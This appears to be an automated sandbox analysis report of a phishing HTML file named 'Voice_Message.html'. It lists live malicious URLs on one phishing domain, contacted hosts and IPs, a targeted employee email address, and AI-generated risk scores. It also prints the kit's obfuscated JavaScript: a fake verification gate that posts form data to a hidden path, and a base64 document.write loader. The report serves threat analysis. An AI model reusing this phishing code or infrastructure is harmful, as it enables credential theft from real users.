https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	0%	Avira URL Cloud	safe
https://fmzd.oryz0.com/23qqWZLmsD3HLvv6Ec6898LDDvxy66	100%	Avira URL Cloud	malware
https://fmzd.oryz0.com/qr20H0d35tQZAutTNiucMwy1MlHakR3YcrZo0tnYirWRstFyj2ubgC4wb4NxZpZ4YMOdXVmRQWDfa6Gcd237	100%	Avira URL Cloud	malware
https://fmzd.oryz0.com/J4j5iUo/?VBana.tannhauser@servier.com	100%	Avira URL Cloud	malware
https://www.google.com/recaptcha/api2/	0%	Avira URL Cloud	safe
https://fmzd.oryz0.com/xy9dtplWirs6mgh22	100%	Avira URL Cloud	malware
https://fmzd.oryz0.com/opLn8R2bvalouDZIsfJC2D675VU6q0KINughjnNSWNC6RbcDybd9dzpVqjMkI49Tavcd200	100%	Avira URL Cloud	malware
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8883b00e0e9a437b/1716453068102/IU6kT65JcIpG5EF	0%	Avira URL Cloud	safe
https://cloud.google.com/recaptcha-enterprise/billing-information	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/442014365:1716448514:KMy_X2Tvwq2thYv_4HPGwjZdG0QkodoJ4s-HxRGfQ5M/8883b00e0e9a437b/b2c3c6268648b88	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8883b00e0e9a437b/1716453068102/3013c2b9a2d1102e1154d4cf97949178b82bc8ea8e6aa134fa96c3d64637a66c/Sru2YBd1981juGi	0%	Avira URL Cloud	safe
https://fmzd.oryz0.com/yz5tdqOr50ejUSGpe1C7HeYWSLmn2C5mz2MZ6g4GFMMA90180	100%	Avira URL Cloud	malware
https://fmzd.oryz0.com/kldBaTGaMI14H8C3GglM670jDjijX4stNOD81yGNtSywFAVJ0xeo20J7xU1GbFuv220	100%	Avira URL Cloud	malware
https://fmzd.oryz0.com/qrqHkBdf3yLyCoYX6uaAmMyA5ZEDG2fGZmnmukiIeb0S4uAmfsMp845136	100%	Avira URL Cloud	malware
https://fmzd.oryz0.com/90vEsJ85xMt99R67cpJjuv59	100%	Avira URL Cloud	malware
https://fmzd.oryz0.com/J4j5iUo/	100%	Avira URL Cloud	malware
https://a.nel.cloudflare.com/report/v4?s=tBSvMSdDT5FO4oEV5EL%2BBLxvvBJ5jz0ZYbrjr1cOsnzMVpVXFuHgpSQSccf1QcDnfuyjAKfimaU5OUPQ5KBoqEXhcyNciE8gm0NYIP5kng%2BF6hMOfkAdkS3syWYXOA%3D%3D	0%	Avira URL Cloud	safe
https://fmzd.oryz0.com/stngs7CSgQFKxZNNR0YNEgHCMncf0xkMwmn6oWjReIJLD3PlEosS75Ba75nXuef257	100%	Avira URL Cloud	malware
https://fmzd.oryz0.com/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js	100%	Avira URL Cloud	malware
https://play.google.com/log?format=json&hasfast=true	0%	Avira URL Cloud	safe
https://fmzd.oryz0.com/efsfnXL1mkSjhUqqyhqkpk4F8mijDEqazbDtkPlc578150	100%	Avira URL Cloud	malware
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8883b00e0e9a437b	0%	Avira URL Cloud	safe
file:///C:/Users/user/Desktop/Voice_Message.html	0%	Avira URL Cloud	safe
https://www.godaddy.com/	0%	Avira URL Cloud	safe
https://fmzd.oryz0.com/56U8OCnuR5DmPArMrtJ18ijqNNqUgDps4geJeU89106	100%	Avira URL Cloud	malware
https://fmzd.oryz0.com/yzT75NuNHtjHz278hkeAUSuqr50	100%	Avira URL Cloud	malware
https://fmzd.oryz0.com/12804PhK6xy6Llhw6720	100%	Avira URL Cloud	malware
https://fmzd.oryz0.com/bftRxKkv3PsBzf1QWLiUOYZ6VtdhMdfdCpGmapVuoYCxCnUeyTVRLL4g	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	unknown
code.jquery.com	151.101.66.137	true	false	unknown
d2vgu95hoyrpkh.cloudfront.net	13.227.219.11	true	false	unknown
fmzd.oryz0.com	104.21.52.56	true	true	unknown
challenges.cloudflare.com	104.17.2.184	true	false	unknown
www.google.com	172.217.18.4	true	false	unknown
cdn.socket.io	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://fmzd.oryz0.com/efncIwTEL0emqS7847WOvPGnqQHZkl99	false	Avira URL Cloud: malware	unknown
https://fmzd.oryz0.com/rs446YaMsFkkugl9Pul1200uv39	false	Avira URL Cloud: malware	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false	URL Reputation: safe	unknown
https://fmzd.oryz0.com/klgF5dnNHAlDrc6qSyelLuefIYXo4YwvCKst4HwTl55Gv89VSB1BFMlexg5FVpicEMLp0yz230	false	Avira URL Cloud: malware	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m1id3/0x4AAAAAAAV0fMDGgBWidsCj/auto/normal	false		unknown
https://fmzd.oryz0.com/89jdsKZZPGQNuWNL3spE66GQefg2RTpL1ab74	false	Avira URL Cloud: malware	unknown
https://fmzd.oryz0.com/ghlTMvE4b8h9VqD9PHj478Jq41suklef17SOWERHgie6efNydg212202	false	Avira URL Cloud: malware	unknown
https://a.nel.cloudflare.com/report/v4?s=1KL%2BjTQcCQeqyFmW0H67yfBYWE7G8sMYAyTgLIui51gBJMwB5K1mKaSozC3MpDcpEQZ4jIrqiLu42lDsrNLnqLrfX4yJhpbW0nUQ2iEauer8LCsXo7i6Uz8WfH4bNw%3D%3D	false	Avira URL Cloud: safe	unknown
about:blank	false	Avira URL Cloud: safe	unknown
https://fmzd.oryz0.com/cbq0IetkuWlrtwBlXfolvJEvwJ4narxbsRdyPVXx7o	false	Avira URL Cloud: malware	unknown
https://challenges.cloudflare.com/turnstile/v0/b/695da7821231/api.js	false	Avira URL Cloud: safe	unknown
https://fmzd.oryz0.com/qr20H0d35tQZAutTNiucMwy1MlHakR3YcrZo0tnYirWRstFyj2ubgC4wb4NxZpZ4YMOdXVmRQWDfa6Gcd237	false	Avira URL Cloud: malware	unknown
https://www.google.com/recaptcha/api.js	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	false	Avira URL Cloud: safe	unknown
https://fmzd.oryz0.com/klES0oQxnTwlNEPXlpWhEGCgQuaNvEYKtWepyzlTMJnMqfQIQ17GyYl87Kpzxg56163	false	Avira URL Cloud: malware	unknown
https://fmzd.oryz0.com/web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket	false	Avira URL Cloud: malware	unknown
https://fmzd.oryz0.com/uvhsHf7kvdLkQQERLIIhKast6Nm88PiJoYHda69V12127	false	Avira URL Cloud: malware	unknown
https://fmzd.oryz0.com/23qqWZLmsD3HLvv6Ec6898LDDvxy66	false	Avira URL Cloud: malware	unknown
https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV#	true		unknown
https://fmzd.oryz0.com/J4j5iUo/?VBana.tannhauser@servier.com	false	Avira URL Cloud: malware	unknown
https://fmzd.oryz0.com/xy9dtplWirs6mgh22	false	Avira URL Cloud: malware	unknown
https://fmzd.oryz0.com/opLn8R2bvalouDZIsfJC2D675VU6q0KINughjnNSWNC6RbcDybd9dzpVqjMkI49Tavcd200	false	Avira URL Cloud: malware	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/442014365:1716448514:KMy_X2Tvwq2thYv_4HPGwjZdG0QkodoJ4s-HxRGfQ5M/8883b00e0e9a437b/b2c3c6268648b88	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8883b00e0e9a437b/1716453068102/3013c2b9a2d1102e1154d4cf97949178b82bc8ea8e6aa134fa96c3d64637a66c/Sru2YBd1981juGi	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8883b00e0e9a437b/1716453068102/IU6kT65JcIpG5EF	false	Avira URL Cloud: safe	unknown
https://fmzd.oryz0.com/yz5tdqOr50ejUSGpe1C7HeYWSLmn2C5mz2MZ6g4GFMMA90180	false	Avira URL Cloud: malware	unknown
https://fmzd.oryz0.com/kldBaTGaMI14H8C3GglM670jDjijX4stNOD81yGNtSywFAVJ0xeo20J7xU1GbFuv220	false	Avira URL Cloud: malware	unknown
https://fmzd.oryz0.com/qrqHkBdf3yLyCoYX6uaAmMyA5ZEDG2fGZmnmukiIeb0S4uAmfsMp845136	false	Avira URL Cloud: malware	unknown
https://fmzd.oryz0.com/90vEsJ85xMt99R67cpJjuv59	false	Avira URL Cloud: malware	unknown
https://fmzd.oryz0.com/J4j5iUo/	true	Avira URL Cloud: malware	unknown
https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV	true		unknown
https://a.nel.cloudflare.com/report/v4?s=tBSvMSdDT5FO4oEV5EL%2BBLxvvBJ5jz0ZYbrjr1cOsnzMVpVXFuHgpSQSccf1QcDnfuyjAKfimaU5OUPQ5KBoqEXhcyNciE8gm0NYIP5kng%2BF6hMOfkAdkS3syWYXOA%3D%3D	false	Avira URL Cloud: safe	unknown
https://fmzd.oryz0.com/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js	false	Avira URL Cloud: malware	unknown
https://fmzd.oryz0.com/stngs7CSgQFKxZNNR0YNEgHCMncf0xkMwmn6oWjReIJLD3PlEosS75Ba75nXuef257	false	Avira URL Cloud: malware	unknown
https://fmzd.oryz0.com/efsfnXL1mkSjhUqqyhqkpk4F8mijDEqazbDtkPlc578150	false	Avira URL Cloud: malware	unknown
file:///C:/Users/user/Desktop/Voice_Message.html	true	Avira URL Cloud: safe	unknown
https://cdn.socket.io/4.6.0/socket.io.min.js	false	URL Reputation: safe	unknown
https://fmzd.oryz0.com/J4j5iUo/#Bana.tannhauser@servier.com	true	SlashNext: Credential Stealing type: Phishing & Social Engineering	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8883b00e0e9a437b	false	Avira URL Cloud: safe	unknown
https://fmzd.oryz0.com/56U8OCnuR5DmPArMrtJ18ijqNNqUgDps4geJeU89106	false	Avira URL Cloud: malware	unknown
https://fmzd.oryz0.com/yzT75NuNHtjHz278hkeAUSuqr50	false	Avira URL Cloud: malware	unknown
https://fmzd.oryz0.com/bftRxKkv3PsBzf1QWLiUOYZ6VtdhMdfdCpGmapVuoYCxCnUeyTVRLL4g	false	Avira URL Cloud: malware	unknown
https://fmzd.oryz0.com/12804PhK6xy6Llhw6720	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.godaddy.com/legal/agreements/privacy-policy?target=_blank	chromecache_161.2.dr	false	Avira URL Cloud: safe	unknown
https://developers.google.com/recaptcha/docs/faq#localhost_support	chromecache_162.2.dr	false	URL Reputation: safe	unknown
https://sso.godaddy.com/v1/account/reset?app=o365&realm=pass	chromecache_161.2.dr	false	Avira URL Cloud: safe	unknown
https://support.google.com/recaptcha#6262736	chromecache_162.2.dr	false	URL Reputation: safe	unknown
https://support.google.com/recaptcha/?hl=en#6223828	chromecache_162.2.dr	false	URL Reputation: safe	unknown
https://cloud.google.com/contact	chromecache_162.2.dr	false	Avira URL Cloud: safe	unknown
https://www.godaddy.com/legal/agreements/cookie-policy	chromecache_161.2.dr	false	Avira URL Cloud: safe	unknown
https://support.google.com/recaptcha/#6175971	chromecache_162.2.dr	false	URL Reputation: safe	unknown
https://www.gstatic.c..?/recaptcha/releases/8k85QBI-qzxmenDv318AZH30/recaptcha__.	chromecache_162.2.dr	false	URL Reputation: safe	unknown
https://www.google.com/recaptcha/api2/	chromecache_162.2.dr, chromecache_187.2.dr	false	Avira URL Cloud: safe	unknown
https://support.google.com/recaptcha	chromecache_162.2.dr	false	URL Reputation: safe	unknown
https://cloud.google.com/recaptcha-enterprise/billing-information	chromecache_162.2.dr	false	Avira URL Cloud: safe	unknown
https://recaptcha.net	chromecache_162.2.dr	false	URL Reputation: safe	unknown
https://www.apache.org/licenses/	chromecache_162.2.dr	false	URL Reputation: safe	unknown
https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que	chromecache_162.2.dr	false	URL Reputation: safe	unknown
https://play.google.com/log?format=json&hasfast=true	chromecache_162.2.dr	false	Avira URL Cloud: safe	unknown
https://www.godaddy.com/	chromecache_161.2.dr	false	Avira URL Cloud: safe	unknown
https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca	chromecache_162.2.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.195.241	unknown	United States	13335	CLOUDFLARENETUS	false
172.217.18.4	www.google.com	United States	15169	GOOGLEUS	false
104.17.3.184	unknown	United States	13335	CLOUDFLARENETUS	false
13.227.219.11	d2vgu95hoyrpkh.cloudfront.net	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.196	unknown	United States	15169	GOOGLEUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
104.21.52.56	fmzd.oryz0.com	United States	13335	CLOUDFLARENETUS	true
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.17.2.184	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.8
192.168.2.7
192.168.2.4
192.168.2.6
192.168.2.5

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1446345
Start date and time:	2024-05-23 10:29:56 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Voice_Message.html
Detection:	MAL
Classification:	mal96.phis.evad.winHTML@34/73@20/15
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.227, 216.58.212.142, 74.125.133.84, 34.104.35.123, 199.232.214.172, 192.229.221.95, 142.250.186.138, 172.217.16.138, 172.217.18.106, 172.217.23.106, 142.250.185.138, 142.250.185.106, 172.217.16.202, 142.250.186.170, 142.250.185.74, 142.250.74.202, 172.217.18.10, 142.250.184.202, 142.250.186.106, 216.58.212.138, 216.58.206.42, 216.58.206.74, 142.250.184.195
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, update.googleapis.com, clients.l.google.com, www.gstatic.com, optimizationguide-pa.googleapis.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.

Input	Output
URL: https://fmzd.oryz0.com/J4j5iUo/#Bana.tannhauser@servier.com Model: Perplexity: mixtral-8x7b-instruct	{ "loginform": false, "reasons": [ "The text does not contain any input fields for a login form such as 'username' or 'password'", "The text does not contain any 'submit' or 'login' buttons for a login form", "The text is actually a warning message from Cloudflare about verifying and authenticating identity, not a login form" ] }
: Verifying... CLOuOFLARE Attention: We are in the process of verifying and authenticating your identity. We've noticed unusual activity from pur network. This page checks if it's you, not a robot, sending the requests
URL: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m1id3/0x4AAAAAAAV0fMDGgBWidsCj/auto/normal Model: Perplexity: mixtral-8x7b-instruct	{ "loginform": false, "reasons": [ "The text does not contain any form fields for a username or password.", "The text does not mention any requirement for a user to enter a password.", "The text is focused on verifying the user's identity and distinguishing between human and robot activity, rather than logging in." ] }
Verifying... CLOuOFLARE Attention: We are in the process of verifying and authenticating your identity. We've noticed unusual activity from pur network. This page checks if it's you, not a robot, sending the requests
URL: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m1id3/0x4AAAAAAAV0fMDGgBWidsCj/auto/normal Model: Perplexity: mixtral-8x7b-instruct	{ "loginform": false, "reasons": [ "The text does not contain any form fields for a username or password.", "The text does not mention any requirement for a user to enter a password.", "The text does not mention any requirement for a user to enter a username." ] }
: Verifying... CLOuOFLARE Attention: We are in the process of verifying and authenticating your identity. We've noticed unusual activity from pur network. This page checks if it's you, not a robot, sending the requests
URL: https://fmzd.oryz0.com/J4j5iUo/#Bana.tannhauser@servier.com Model: gpt-4o	```json { "riskscore": 7, "reasons": "The code includes suspicious elements such as preventing form submission, dynamically setting a form value, and making a POST request to an obfuscated URL. The redirection to another obfuscated URL upon an error response is also concerning. These behaviors are commonly associated with phishing or malicious activities." }
turnstile.render('#cf', { sitekey: '0x4AAAAAAAV0fMDGgBWidsCj', 'error-callback': SpDvgazaMd, callback: nKUmxHGYad, }); function SpDvgazaMd() { turnstile.reset(); } function nKUmxHGYad() { var tnFyaTkXUi = document.getElementById("PyFDLHYqWl"); tnFyaTkXUi.onsubmit = function (event) { event.preventDefault(); }; document.getElementById("pagelink").value = 'j092'; var xBwXPnfpXv = "../cbq0IetkuWlrtwBlXfolvJEvwJ4narxbsRdyPVXx7o"; fetch(xBwXPnfpXv, { method: "POST", body: new FormData(tnFyaTkXUi) }).then(response => { return response.json(); }).then(data => { if(data['status'] == 'success'){ location.reload(); } if(data['status'] == 'error'){ window.location.href = '/tjmchgmizijxbGXnsMX9GXj8u8bThjslfotuhrvj?dwfwpQNIQHMVWEOTRXUWGKIHYUQJNYrdkzunfybejeuketmhhoadrifgutkcsjkqkqplxhvqkwzkq'; } }); }
URL: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m1id3/0x4AAAAAAAV0fMDGgBWidsCj/auto/normal Model: Perplexity: mixtral-8x7b-instruct	{ "loginform": false, "reasons": [ "The text does not contain any form fields for a username or password.", "The text mentions verifying 'your identity' and checking if 'it's you, not a robot', but it does not explicitly mention a login form.", "The text mentions 'unusual activity from pur network', which suggests this may be a security measure rather than a login form." ] }
Verify you are human CLOuOFLARE Attention: We are in the process of verifying and authenticating your identity. We've noticed unusual activity from pur network. This page checks if it's you, not a robot, sending the requests
URL: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m1id3/0x4AAAAAAAV0fMDGgBWidsCj/auto/normal Model: gpt-4o	```json { "riskscore": 1, "reasons": "The JavaScript code appears to be related to Cloudflare's challenge page, which is used to protect websites from bots and malicious traffic. It does not exhibit any obvious signs of malicious behavior such as data exfiltration, credential harvesting, or unauthorized access. The code is primarily setting up configuration options for a Cloudflare challenge and handling events related to it." }
(function(){ window._cf_chl_opt={ cvId: '3', cZone: 'challenges.cloudflare.com', cTplV: 5, chlApivId: '0', chlApiWidgetId: 'm1id3', chlApiSitekey: '0x4AAAAAAAV0fMDGgBWidsCj', chlApiMode: 'managed', chlApiSize: 'normal', chlApiRcV: '1/tQLO-891kd51BCz', chlApiTimeoutEncountered: 0, chlTimeoutMs: 120000, cK: "visitor-time", cType: 'chl_api_m', cNounce: '23290', cRay: '8883b00e0e9a437b', cHash: 'b2c3c6268648b88', cFPWv: 'b', cLt: 'n', cRq: { ru: 'aHR0cDovL2NoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20vY2RuLWNnaS9jaGFsbGVuZ2UtcGxhdGZvcm0vaC9iL3R1cm5zdGlsZS9pZi9vdjIvYXYwL3JjdjAvMC9tMWlkMy8weDRBQUFBQUFBVjBmTURHZ0JXaWRzQ2ovYXV0by9ub3JtYWw=', ra: 'TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzExNy4wLjAuMCBTYWZhcmkvNTM3LjM2', rm: 'R0VU', d: '50hU/nMBVxUy7FbRX+t0qboHCUsvYZYDXEpMLLAB/wOCmRb36xDIhP1GE1tAZl+8bzHraLaUCu35TQOleYJYfSyFwo/Ll+gzuHPcaocgUDvwgX410scqnGVSU+hfeX4p9ApdgHiaqJzLdr6nSVDZDJUmhTsppUUgmdJfyS4o2GGahwrNBUe14hkgkhBd5dYEcvIliy7ZQLS/NZhi077lOFeE/asxUTgD3jqmIR8itBsD9394JiKLd6NtlEpYZCsYeqIvD1MqwnazqeEuhUw1yXCe/vEl+7CCvLm0SrX6EXlpr6Lxa1Kw+JirrlEewVaukFdjheWQrqe9FPfbpvfUK+oXJoBFRJkxeCBRrJO1xWb6it2MDu/UGwqaSVrgeeqADs4vjLw0n9xap6T36Ls4iZtothFmAPcWSEol1iegz/EKzVNTh6zWzZY8k/BJux7phFeP4KAbGr4q6oTeRL9OdqtUAafNhjKm8V9SzMC2CBh8BywXb8xH3f8bJcXgXTi8V9o1MVndco9+cSDy2AB2f71NYcKAcv1pOWFgal0dxokZGJzhau/10i2tGkZ2RR7erNTpBPFBWkKgoBGL5s6Cx4IOK0xTfFlytx++sxsBr6P7kHKoEvbsb9GbB7YP5GJsA3Oe5LDKlAfYDQL/8hHDFsyy4uwumADiHVTHoR9nKc4=', t: 'MTcxNjQ1MzA2NS45Mzg=', m: 'NpQ/RznGcH1ZiQ9B3ULGtCQR0gFAuqFhkjwUzL5UX7c=', i1: '0VbwklLEz7JGDp9e7nc7lg==', i2: 'Fzwg5a7BiGJefjL3VHcaPA==', uh: 'wh0E0SXYnx6pTBdJW/l926I+PRUplRdtQz3K9lHXs/s=', hh: 'WCiLdNo2uN2aXsfJJhG2HFkP3bOo0fw8tsFAppLisvs=', zh: '9D+zbxCfwBPyr1pF5Wb5E9kRItcGU2xCgzO1zGTKToQ=', }, refresh: function(){ if(window['parent']){ window['parent'].postMessage({ source: 'cloudflare-challenge', widgetId: 'm1id3', nextRcV: '1/tQLO-891kd51BCz', event: 'reloadRequest', }, "*"); } } }; var handler = function(event) { var e = event.data; if (e.source && e.source === 'cloudflare-challenge' && e.event === 'meow' && e.widgetId === window._cf_chl_opt.chlApiWidget
URL: https://fmzd.oryz0.com/J4j5iUo/#Bana.tannhauser@servier.com Model: gpt-4o	```json { "riskscore": 7, "reasons": "The JavaScript code is obfuscated using base64 encoding and then decoded and executed. This is a common technique used by malicious scripts to hide their true functionality. Additionally, the code includes external scripts from third-party sources, which could potentially be used to load malicious content. The presence of hidden input fields with potentially sensitive information (e.g., IP address) further raises suspicion. While the code does not immediately exhibit overtly malicious behavior, the obfuscation and external dependencies warrant a higher risk score." }
document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1lZGdlIj4NCiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+DQogICAgPHRpdGxlPjF0SmhFN3VKTk88L3RpdGxlPg0KICAgIDxzdHlsZT4NCmJvZHkgew0KICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOw0KICBoZWlnaHQ6IDEwMCU7DQogIG92ZXJmbG93OiBoaWRkZW47DQp9DQojelpjUXZIUGFVaSBoNHttYXJnaW4tdG9wOjA7bWFyZ2luLWJvdHRvbTouNXJlbTtmb250LXdlaWdodDo1MDA7bGluZS1oZWlnaHQ6MS4yO30NCiN6WmNRdkhQYVVpIGg0e2ZvbnQtc2l6ZTpjYWxjKDEuMyk7fQ0KQG1lZGlhIChtaW4td2lkdGg6MTIwMHB4KXsNCiN6WmNRdkhQYVVpIGg0e2ZvbnQtc2l6ZToxLjVyZW07fQ0KfQ0KI3paY1F2SFBhVWkgcHttYXJnaW4tdG9wOjA7bWFyZ2luLWJvdHRvbToxcmVtO30NCiN6WmNRdkhQYVVpLmNvbnRhaW5lcnt3aWR0aDogMTAwJTtwYWRkaW5nLXJpZ2h0OiB2YXIoLS1icy1ndXR0ZXIteCwgLjc1cmVtKTtwYWRkaW5nLWxlZnQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO21hcmdpbi1yaWdodDogYXV0bzttYXJnaW4tbGVmdDogYXV0bzt9DQojelpjUXZIUGFVaSAudGV4dC1jZW50ZXIge3RleHQtYWxpZ246IGNlbnRlciFpbXBvcnRhbnQ7fQ0KQG1lZGlhIChtaW4td2lkdGg6OTkycHgpew0KI3paY1F2SFBhVWkgLmNvbC1sZy00e2ZsZXg6MCAwIGF1dG87d2lkdGg6MzMuMzMzMzMzMzMlO30NCn0NCiN6WmNRdkhQYVVpIC5kaXNwbGF5LTQge2ZvbnQtc2l6ZTogMS4yNXJlbSFpbXBvcnRhbnQ7fQ0KI3paY1F2SFBhVWkgLm10LTIge21hcmdpbi10b3A6IDAuNXJlbSFpbXBvcnRhbnQ7fQ0KI3paY1F2SFBhVWkgLmg0IHtmb250LXNpemU6IGNhbGMoLjkwMHJlbSArIC4zdncpO30NCiN6WmNRdkhQYVVpIC5qdXN0aWZ5LWNvbnRlbnQtY2VudGVye2p1c3RpZnktY29udGVudDpjZW50ZXIhaW1wb3J0YW50O30NCiN6WmNRdkhQYVVpLm10LTV7bWFyZ2luLXRvcDozcmVtIWltcG9ydGFudDt9DQojelpjUXZIUGFVaSAubXQtNCB7bWFyZ2luLXRvcDogMXJlbSFpbXBvcnRhbnQ7fQ0KI3paY1F2SFBhVWkgI1pBWlFVbG1oUWgge2ZvbnQtc2l6ZToxM3B4O30NCiAgICA8L3N0eWxlPg0KICAgIDxzY3JpcHQ+DQogICAgLy8gc2V0SW50ZXJ2YWwoKCkgPT4gew0KICAgIC8vIGNvbnN0IHQwID0gRGF0ZS5ub3coKTsNCiAgICAvLyBldmFsKCdkZWJ1Z2dlcicpOw0KICAgIC8vIGNvbnN0IHQxID0gRGF0ZS5ub3coKTsNCiAgICAvLyB9LCAxMDAwKTsNCiAgICA8L3NjcmlwdD4NCjwvaGVhZD4NCg0KPGJvZHkgc3R5bGU9ImZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJpZjtiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmO2NvbG9yOiAjMDAwO3BhZGRpbmc6IDIwcHg7Zm9udC1zaXplOiAxOHB4O292ZXJzY3JvbGwtYmVoYXZpb3I6IGNvbnRhaW47Ij4NCjxkaXYgaWQ9InpaY1F2SFBhVWkiIGNsYXNzPSJjb250YWluZXIiPg0KPGRpdiBpZD0iakplTllEa1BMTyIgY2xhc3M9InJvdyBqdXN0aWZ5LWNvbnRlbnQtY2VudGVyIj4NCjxkaXYgY2xhc3M9InRleHQtY2VudGVyIj4NCjxmb3JtIGlkPSJQeUZETEhZcVdsIj4NCjxkaXYgY2xhc3M9ImNmX3R1cm5zdGlsZSIgaWQ9ImNmIj48L2Rpdj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJwYWdlbGluayIgbmFtZT0icGFnZWxpbmsiIHZhbHVlPSIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImJsdGRpcCIgbmFtZT0iYmx0ZGlwIiB2YWx1ZT0iOC40Ni4xMjMuMTc1Ij4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJibHRkcmVmIiBuYW1lPSJibHRkcmVmIiB2YWx1ZT0iIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJibHRkdWEiIG5hbWU9ImJsdGR1YSIgdmFsdWU9Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY